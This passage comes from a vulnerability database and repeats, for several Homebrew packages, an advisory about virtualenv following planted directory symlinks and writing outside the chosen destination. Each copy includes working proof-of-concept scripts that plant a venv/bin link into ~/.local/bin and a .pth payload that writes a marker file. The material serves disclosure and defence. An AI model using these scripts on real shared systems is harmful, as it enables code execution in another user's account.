point to ../../.local/bin\n    V-\u003e\u003eL: ensure_dir accepts existing directory link\n    V-\u003e\u003eH: write python, pip and activate files through link\n    V--\u003e\u003eU: creation reports success\n    U-\u003e\u003eH: run pip found on PATH\n    H-\u003e\u003eA: interpreter loads planted .pth\n    A--\u003e\u003eU: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n    local_bin = home / \".local/bin\"\n    user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ[\u0027PATH\u0027]}\"}\n    local_bin_before = set(os.listdir(local_bin))\n    payload_marker = home / \"PWNED\"\n\n    # the attacker\u0027s checkout arrives at ~/project\n    subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n    venv = home / \"project/venv\"\n    print(f\"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n\n    # default options; the flag only keeps the run off the network\n    subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n    written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n    payload_ran_at_creation = payload_marker.exists()\n    print(f\"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / \u0027bin\u0027)}\")\n    print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n    print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n    # later, in another folder, the user runs pip\n    pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n    print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n    print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n    return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -\u003e ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user\u0027s own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout\u0027s .pth\nplain_link_followed = {\"pip\", \"activate\"} \u003c= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} \u003c= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n    site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n    site_packages.mkdir(parents=True)\n    (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n    (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -\u003e a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-MUFJEG11.",
      "id": "BREW-poetry-CVE-2026-113716",
      "modified": "2026-11-19T09:13:01Z",
      "published": "2026-10-29T22:19:24Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3429"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
          "type": "CVSS_V3"
        }
      ],
      "summary": "virtualenv: Builtin creation follows linked environment directories",
      "upstream": [
        "GHSA-cw65-gx24-rc82",
        "BIT-virtualenv-2026-113716",
        "CVE-2026-113716",
        "PYSEC-2026-4375"
      ]
    }

    BREW-PRE-COMMIT-CVE-2026… (GHSA-CW65-GX24-RC82)

    Vulnerability from osv_homebrew – Published: 2026-10-22 09:38 – Updated: 2026-11-19 10:22 – Source website
    VLAI
    Summary
    virtualenv: Builtin creation follows linked environment directories
    Details

    Summary

    The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.

    Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Directory preparation before environment files are created.

    Attacker-controlled input

    Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

    Affected code

    The relevant 21.14.8 source is in builtin creator, ensure_dir().

    Mechanism

    The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

    Reproduction and evidence

    The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

    The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

    Attack sequence

    sequenceDiagram
        participant A as Prepared destination
        participant V as Builtin creator
        participant L as venv/bin symlink
        participant H as ~/.local/bin
        participant U as User
        A->>L: point to ../../.local/bin
        V->>L: ensure_dir accepts existing directory link
        V->>H: write python, pip and activate files through link
        V-->>U: creation reports success
        U->>H: run pip found on PATH
        H->>A: interpreter loads planted .pth
        A-->>U: marker created
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    import sys
    from pathlib import Path
    
    WORK = Path("/tmp/planted-bin-link")
    shutil.rmtree(WORK, ignore_errors=True)
    
    
    def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
        local_bin = home / ".local/bin"
        user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
        local_bin_before = set(os.listdir(local_bin))
        payload_marker = home / "PWNED"
    
        # the attacker's checkout arrives at ~/project
        subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
        venv = home / "project/venv"
        print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
    
        # default options; the flag only keeps the run off the network
        subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
        written = sorted(set(os.listdir(local_bin)) - local_bin_before)
        payload_ran_at_creation = payload_marker.exists()
        print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
        print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
        print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
    
        # later, in another folder, the user runs pip
        pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
        print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
        print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
        return written, payload_marker.exists() and not payload_ran_at_creation
    
    
    print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
    home = WORK / "bin-link"
    (home / ".local/bin").mkdir(parents=True)
    written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
    
    print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
    home = WORK / "bin-link-staying-inside"
    (home / ".local/bin").mkdir(parents=True)
    # python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
    (home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
    written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
    
    # check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
    plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
    link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
    print("---")
    print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
    print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
    print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
    

    repro.d/checkout_with_bin_link.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    # one per minor version: the attacker does not know which Python the user has
    for minor in range(9, 20):
        site_packages = venv / f"lib/python3.{minor}/site-packages"
        site_packages.mkdir(parents=True)
        (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    
    # relative to a checkout at ~/project
    (venv / "bin").symlink_to("../../.local/bin")
    

    repro.d/checkout_with_bin_link_staying_inside.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    site_packages = venv / "lib/py/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    for minor in range(9, 20):
        (venv / f"lib/python3.{minor}").symlink_to("py")
    
    # pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
    (venv / "1/2/3/4/5/6/7").mkdir(parents=True)
    (site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
    
    # six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
    (venv / "1/.local/bin").mkdir(parents=True)
    (venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
    

    Impact

    Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

    Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

    Fix: PR #3429.

    Known mitigation

    Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "pre-commit",
            "purl": "pkg:brew/pre-commit"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.5.0"
                },
                {
                  "fixed": "2.20.0_1"
                },
                {
                  "introduced": "3.6.1"
                },
                {
                  "fixed": "4.7.0_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin -\u003e ../../.local/bin` and a `.pth` file in the environment\u0027s package tree.\nWith the user\u0027s initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user\u0027s `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user\u0027s `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared destination\n    participant V as Builtin creator\n    participant L as venv/bin symlink\n    participant H as ~/.local/bin\n    participant U as User\n    A-\u003e\u003eL: point to ../../.local/bin\n    V-\u003e\u003eL: ensure_dir accepts existing directory link\n    V-\u003e\u003eH: write python, pip and activate files through link\n    V--\u003e\u003eU: creation reports success\n    U-\u003e\u003eH: run pip found on PATH\n    H-\u003e\u003eA: interpreter loads planted .pth\n    A--\u003e\u003eU: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n    local_bin = home / \".local/bin\"\n    user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ[\u0027PATH\u0027]}\"}\n    local_bin_before = set(os.listdir(local_bin))\n    payload_marker = home / \"PWNED\"\n\n    # the attacker\u0027s checkout arrives at ~/project\n    subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n    venv = home / \"project/venv\"\n    print(f\"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n\n    # default options; the flag only keeps the run off the network\n    subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n    written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n    payload_ran_at_creation = payload_marker.exists()\n    print(f\"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / \u0027bin\u0027)}\")\n    print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n    print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n    # later, in another folder, the user runs pip\n    pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n    print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n    print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n    return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -\u003e ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user\u0027s own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout\u0027s .pth\nplain_link_followed = {\"pip\", \"activate\"} \u003c= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} \u003c= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n    site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n    site_packages.mkdir(parents=True)\n    (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n    (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -\u003e a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-MUFJEG11.",
      "id": "BREW-pre-commit-CVE-2026-113716",
      "modified": "2026-11-19T10:22:29Z",
      "published": "2026-10-22T09:38:37Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3429"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
          "type": "CVSS_V3"
        }
      ],
      "summary": "virtualenv: Builtin creation follows linked environment directories",
      "upstream": [
        "GHSA-cw65-gx24-rc82",
        "CVE-2026-113716",
        "BIT-virtualenv-2026-113716",
        "PYSEC-2026-4375"
      ]
    }

    BREW-SICKCHILL-CVE-2026-113716 (GHSA-CW65-GX24-RC82)

    Vulnerability from osv_homebrew – Published: 2026-10-22 08:58 – Updated: 2026-11-19 09:34 – Source website
    VLAI
    Summary
    virtualenv: Builtin creation follows linked environment directories
    Details

    Summary

    The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.

    Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Directory preparation before environment files are created.

    Attacker-controlled input

    Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

    Affected code

    The relevant 21.14.8 source is in builtin creator, ensure_dir().

    Mechanism

    The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

    Reproduction and evidence

    The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

    The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

    Attack sequence

    sequenceDiagram
        participant A as Prepared destination
        participant V as Builtin creator
        participant L as venv/bin symlink
        participant H as ~/.local/bin
        participant U as User
        A->>L: point to ../../.local/bin
        V->>L: ensure_dir accepts existing directory link
        V->>H: write python, pip and activate files through link
        V-->>U: creation reports success
        U->>H: run pip found on PATH
        H->>A: interpreter loads planted .pth
        A-->>U: marker created
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    import sys
    from pathlib import Path
    
    WORK = Path("/tmp/planted-bin-link")
    shutil.rmtree(WORK, ignore_errors=True)
    
    
    def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
        local_bin = home / ".local/bin"
        user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
        local_bin_before = set(os.listdir(local_bin))
        payload_marker = home / "PWNED"
    
        # the attacker's checkout arrives at ~/project
        subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
        venv = home / "project/venv"
        print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
    
        # default options; the flag only keeps the run off the network
        subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
        written = sorted(set(os.listdir(local_bin)) - local_bin_before)
        payload_ran_at_creation = payload_marker.exists()
        print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
        print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
        print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
    
        # later, in another folder, the user runs pip
        pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
        print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
        print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
        return written, payload_marker.exists() and not payload_ran_at_creation
    
    
    print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
    home = WORK / "bin-link"
    (home / ".local/bin").mkdir(parents=True)
